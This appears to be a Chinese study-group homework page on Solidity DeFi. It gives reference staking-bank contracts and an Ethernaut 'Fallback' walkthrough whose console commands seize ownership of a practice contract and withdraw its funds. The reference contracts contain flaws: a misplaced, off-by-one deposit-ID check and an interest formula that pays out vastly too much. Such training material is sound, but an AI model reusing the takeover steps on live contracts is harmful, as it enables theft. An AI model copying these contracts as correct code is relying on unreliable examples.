Try   HackMD

第三次實作練習|智能合約與 Dapp 實戰讀書會

已公佈實作參考解答

作業說明

第三次讀書會實作主題是 DeFi ,共分為「建立一個銀行 Bank」的基本題及進階題 Ethernaut 讓大家練習

繳交作業必須完成 Bank 基本題,其餘兩題可做可不做,請在 12/2 (五) 23:59前繳交

Bank 基本題:建立一個支援單代幣的銀行

在 Web3 世界人人都可以當銀行家!我們想開張一間去中心化金融中心,簡易小而美的銀行

  • 使用者可以將我們發行的 Staking Token (ERC20代幣)存入銀行
  • 使用者執行定存,會開始計算 Reward 利息回饋
  • 使用者解除定存(withdraw),獲得 Reward 利息回饋

部署二個合約,

  1. 部署一個 Staking Token ERC20 的智能合約

    提示:可透過 Openzeppelin Wizard 快速產生 ERC20

  2. 部署一個 Bank 銀行合約,並擁有以下功能

    • Deposit 定存:實作 deposit function,可以將 Staking Token 存入 Bank 合約
    • Withdraw 解除定存並提款,實作 withdraw function
    • TimeLock 固定鎖倉期
  3. 部署方式:Remix JavaScript VM 部署合約

參考解答

StakingToken.sol

// SPDX-License-Identifier: MIT pragma solidity ^0.8.16; import "@openzeppelin/contracts/token/ERC20/ERC20.sol"; contract testERC20 is ERC20 { constructor() ERC20("testERC20", "tERC") { // _mint(msg.sender, 10 ** (9 + 18)); _mint(msg.sender, 1_000_000_000 * 1e18); } }

BankBasic.sol

// SPDX-License-Identifier: MIT pragma solidity ^0.8.16; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; /* 建立一個 Bank 銀行 在 web3 世界人人都可以當銀行家!我們想開張一間去中心化金融中心,簡易小而美的銀行 使用者可以將我們發行的 Staking Token (ERC20代幣)存入銀行 使用者執行定存,會開始計算 Reward 利息回饋 使用者解除定存(withdraw),獲得 Reward 利息回饋 Deposit 定存:實作 deposit function,可以將 Staking Token 存入 Bank 合約 Withdraw 解除定存並提款,實作 withdraw function TimeLock 固定鎖倉期 */ contract BasicBank { // 質押 Staking Token 代幣 IERC20 public stakingToken; // 全部質押數量 uint256 public totalStakedToken; // 個人質押數量 mapping(address => uint256) public balanceOf; // 鎖倉時間 uint256 public withdrawDeadline = 10 seconds; // 利息獎勵 // 10 ** -18 per second uint256 public rewardRate = 1; // 個人總利息 mapping(address => uint256) public rewardOf; // 定存資料 struct Deposit { uint256 amount; // 定存多少金額 uint256 startTime; // 定存開始時間 uint256 endTime; // 定存結束時間 } mapping(address => Deposit[]) public depositOf; constructor(IERC20 _stakingToken) { stakingToken = _stakingToken; } // update total token amount in the contract function updateTotalStakenToken() internal { totalStakedToken = stakingToken.balanceOf(address(this)); } // 存款 function deposit(uint256 _amount) external { // 1) 將 stakingToken 移轉到 BasicBank 合約 stakingToken.transferFrom(msg.sender, address(this), _amount); // 2) 紀錄存款數量 totalStakedToken += _amount; balanceOf[msg.sender] += _amount; // 3) 定存資訊 depositOf[msg.sender].push( Deposit({ amount: _amount, startTime: block.timestamp, endTime: block.timestamp + withdrawDeadline }) ); } // 解除定存 function withdraw(uint256 _depositId) external { // 檢查:餘額需要大於 0 require(balanceOf[msg.sender] > 0, "You have no balance to withdraw"); Deposit[] storage deposits = depositOf[msg.sender]; // 檢查條件: 必須超過鎖倉期才可以提領 require(block.timestamp >= deposits[_depositId].endTime, "Withdrawal Period is not reached yet"); // 檢查條件:定存ID 是否存在 require(_depositId <= deposits.length, "Deposit ID not exist!!"); // 這次提領的金額 =本金 + 利息 uint256 currentReward = deposits[_depositId].amount + getInterest(_depositId); updateTotalStakenToken(); // 檢查條件:目前質押在合約中的代幣數量,要大於這次提領的金額(本金+利息) require(totalStakedToken >= currentReward, "Tokens in the pool is insufficient for the withdrawal"); // 1) 獲得利息獎勵 rewardOf[msg.sender] += currentReward; // 2) 提款 stakingToken.transfer(msg.sender, currentReward); totalStakedToken -= currentReward; balanceOf[msg.sender] -= deposits[_depositId].amount; // 3) 把此筆定存移除,並更新最後一筆定存的 ID 至目前定存 deposits[_depositId] = deposits[deposits.length - 1]; deposits.pop(); } // 計算利息 function getInterest(uint256 _depositId) public view returns (uint256) { uint256 start = depositOf[msg.sender][_depositId].startTime; uint256 _amount = depositOf[msg.sender][_depositId].amount; return (block.timestamp - start) * rewardRate * _amount; } // 使用者旗下的所有定存利息 function getAllInterest() public view returns (uint256){ uint256 N = depositOf[msg.sender].length; uint256 allRewards; for (uint256 i = 0; i < N; i++) { allRewards += getInterest(i); } return allRewards; } }

細節補充:怎麼表示小數點

利息計算時,免不了要進行浮點數的運算,Solidity 為了維持小數的精度所以沒有 float, double 這類的資料型別,皆是以整數來表示小數點。

  • 查看 token 的基礎單位(Openzeppelin的 ERC20合約),預設是

    1018

    ​​​​/** ​​​​ * @dev Returns the number of decimals used to get its user representation. ​​​​ * For example, if `decimals` equals `2`, a balance of `505` tokens should ​​​​ * be displayed to a user as `5.05` (`505 / 10 ** 2`). ​​​​ * ​​​​ * Tokens usually opt for a value of 18, imitating the relationship between ​​​​ * Ether and Wei. This is the value {ERC20} uses, unless this function is ​​​​ * overridden; ​​​​ * ​​​​ * NOTE: This information is only used for _display_ purposes: it in ​​​​ * no way affects any of the arithmetic of the contract, including ​​​​ * {IERC20-balanceOf} and {IERC20-transfer}. ​​​​ */ ​​​​function decimals() public view virtual override returns (uint8) { ​​​​ return 18; ​​​​}
  • 若想要發 1,000,000,000 (

    109) 個 token,在 mint 時的數量要寫成 10 ** (18 + 9)

  • 實際看到的發行總量並不會是

    1027 而是
    109

細節補充:使用 IERC20 與 ERC20 合約互動

https://docs.openzeppelin.com/contracts/4.x/api/token/erc20#IERC20

細節補充:用 Struct 記錄每一筆定存

新增結構體陣列,記錄每筆定存的資訊

struct Deposit { uint256 amount; uint256 startTime; uint256 endTime; } mapping(address => Deposit[]) public depositOf; /* depositOf[msg.sender] = [ [amount, startTime, endTime], // 第0筆定存 [amount, startTime, endTime], // 第1筆定存 [amount, startTime, endTime] // 第2筆定存 ] */

細節補充:使用 transferFrom + approve 來提升安全性

  • approve:Token的擁有者,可以將權限委託給 Bank,允許他們從所有者的餘額中花費特定金額
  • transferFrom:允許Token擁有者,將控制權委託給另一個地址。它通常用於給合約來分配Token、Staking等使用
  • transferFrom 通常與 approve 結合使用

Bank 進階題:建立一個支援多代幣的銀行

進階題可不做,但需繳交基本作業

  1. 部署兩個 ERC20 Token 的智能合約,分別是 StakingToken、RewardsToken

  2. 部署 AdvanceBank 智能合約,並擁有以下功能

    • Deposit 定存
    • Reward(回饋另一個 RewardsToken)
    • TimeLock 根據鎖倉期給予不同回饋加乘
  3. 合約部署在 Goerli Network,並開源 Verify

參考解答

StakingTokenAndRewardToken.sol

// SPDX-License-Identifier: MIT pragma solidity 0.8.16; import "@openzeppelin/contracts/token/ERC20/ERC20.sol"; contract StakingToken is ERC20 { constructor() ERC20("Staking Token", "ST") { mint(msg.sender, 50000); } function mint(address to, uint256 amount) public { _mint(to, amount); } } contract RewardToken is ERC20 { constructor() ERC20("Reward Token", "ST") { _mint(msg.sender, 100 * 1e18); } }

BankAdvanced.sol

// SPDX-License-Identifier: MIT pragma solidity 0.8.16; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; /* 建立一個 Bank 銀行 在 web3 世界人人都可以當銀行家!我們想開張一間去中心化金融中心,簡易小而美的銀行 使用者可以將我們發行的 Staking Token (ERC20代幣)存入銀行 使用者執行定存,會開始計算 Reward 利息回饋 使用者解除定存(withdraw),獲得 Reward 利息回饋 Deposit 定存:實作 deposit function,可以將 Staking Token 存入 Bank 合約 Withdraw 解除定存並提款,實作 withdraw function TimeLock 固定鎖倉期 */ contract AdvanceBank { // 質押 Staking Token代幣 IERC20 public stakingToken; // 利息獎勵代幣 IERC20 public rewardToken; // 全部質押數量 uint256 public totalSupply; // 個人質押數量 mapping(address => uint256) public balanceOf; // 鎖倉時間 uint256 public withdrawDeadline = 10 seconds; // 利息獎勵 uint256 public rewardRate = 1; // 個人總利息 mapping(address => uint256) public rewardOf; // 定存資料 struct Deposit { uint256 amount; // 定存多少金額 uint256 startTime; // 定存開始時間 uint256 endTime; // 定存結束時間 } mapping(address => Deposit[]) public depositOf; // 紀錄每個帳戶,操作 deposit, withdraw, getReward 最後更新的時間 mapping(address => uint256) public lastUpdateTime; constructor(IERC20 _stakingToken, IERC20 _rewardToken) { stakingToken = _stakingToken; rewardToken = _rewardToken; } event WithdrawReward(address _account, uint256 _reward); // 計算利息,公式計算 function earned() public view returns (uint256) { // 經過多少時間(秒) uint256 duration = block.timestamp - lastUpdateTime[msg.sender]; // (你擁有多少顆 StakingToken * 時間 * rewardRate) + 目前獎勵利息有多少 return balanceOf[msg.sender] * duration * rewardRate + rewardOf[msg.sender]; } // 每次存提款、提領利息,都會呼叫他 modifier updateReward() { // 1) 更新該帳戶的獎勵 rewardOf[msg.sender] = earned(); // 2) 更新最後的時間 lastUpdateTime[msg.sender] = block.timestamp; _; } // 存款 function deposit(uint256 _amount) external updateReward { // 1) 將 stakingToken 移轉到 BasicBank 合約 stakingToken.transferFrom(msg.sender, address(this), _amount); // 2) 紀錄存款數量 totalSupply += _amount; balanceOf[msg.sender] += _amount; // 3) 定存資訊 depositOf[msg.sender].push( Deposit({ amount: _amount, startTime: block.timestamp, endTime: block.timestamp + withdrawDeadline }) ); } // 解除定存 function withdraw(uint256 _depositId) external updateReward { // 檢查:餘額需要大於 0 require(balanceOf[msg.sender] > 0, "You have no balance to withdraw"); Deposit[] storage deposits = depositOf[msg.sender]; // 檢查條件: 必須超過鎖倉期才可以提領 require(block.timestamp >= deposits[_depositId].endTime, "Withdrawal Period is not reached yet"); // 檢查條件:定存ID 是否存在 require(_depositId <= deposits.length, "Deposit ID not exist!!"); uint256 amount = deposits[_depositId].amount; // 1) 獲得利息獎勵 // rewardOf[msg.sender] += getReward(_depositId); // 2) 提款 stakingToken.transfer(msg.sender, amount); totalSupply -= amount; balanceOf[msg.sender] -= amount; // 3) 移除此筆定存,移除陣列 deposits // 陣列往左移 deposits[_depositId] = deposits[deposits.length - 1]; deposits.pop(); } // 利息 rewardToken 轉移給使用者 function getReward(uint256 _depositId) external updateReward { require(rewardOf[msg.sender] > 0, "You have no reward! sorry!"); // 1) 取得目前的總利息,存進變數 reward uint256 reward = rewardOf[msg.sender]; // 2) reward 將利息歸 0 rewardOf[msg.sender] = 0; // 3) 利息用 rewardToken 方式獎勵給 User // 需要將 rewardToken 存到銀行,銀行才可以發放獎勵 rewardToken.transfer(msg.sender, reward); // 4) 紀錄事件,使用者已經提領利息 emit WithdrawReward(msg.sender, reward); } }

細節補充:設計利息公式

參考版為

利息 reward=(現在時間 - 上次更新時間)rewardRate存入前的 token+當前 reward

Ethernaut 智能合約攻防戰

有興趣者可以試著挑戰前 10 題

事前準備

範例說明:第二題 Fallback

  • 遊戲目標:
    • 獲取合約所有權,成為 Owner
    • 把合約裡的錢偷走
  • 關卡用意:
    • 學會ether進出合約的基本知識
    • 使用fallback方法
    • Ownable的特殊權限

觀察思路

  • 仔細觀察 fallback.sol的內容,會發現有兩個地方可以拿到 owner 權限
    • contribute Fn:需要把 1000 ETH 打到 contribute function,這條路有點太奢侈了
    • receive() 剩下這條路可以走

接收 ETH 幫手:receive()

receive() 是用來接收 ETH,一個合約只能有唯一一個 receive ,它也走特例,不需要 function 關鍵字,但必須有 external, payable

receive() external payable { // ... }
  • 當合約收到 Eth時,會觸發 receive

開始解題

仔細看 receive 可以得知

receive() external payable { require(msg.value > 0 && contributions[msg.sender] > 0); owner = msg.sender; }
  • contributions[msg.sender] 錢需要 > 0
  • 轉錢給合約 msg.value > 0
    以上兩個條件達成,就可以成為 owner

呼叫 contributions 讓 contributions[msg.sender]>0,傳送 0.00001 ether

await contract.contribute({ value: toWei("0.0001")})

接著使用 Metamask 轉一筆錢到合約地址就會觸發 receive(),獲得 owner 權限

contract.address > '0xe5eBf7364306e0eca2CAE5F0D028650cd158d776' // Metamask 轉任意的錢 await contract.contribute({ value: 1 }) await contract.sendTransaction({value: 1}) await contract.owner() // 查詢 Owner 是誰 > '0x977e01DDd064e404227eea9E30a5a36ABFDeF93D' // 與 player 地址相同,表示已成為 owner。確認成為 owner後,呼叫合約的 withdraw player // 你的錢包地址 > '0x977e01DDd064e404227eea9E30a5a36ABFDeF93D' await contract.withdraw(); // 確認合約錢餘額 await getBalance(contract.address);

交易完成後,便可以 Submit 提交答案囉,成功後會看到控制台出現下面訊息,表示通過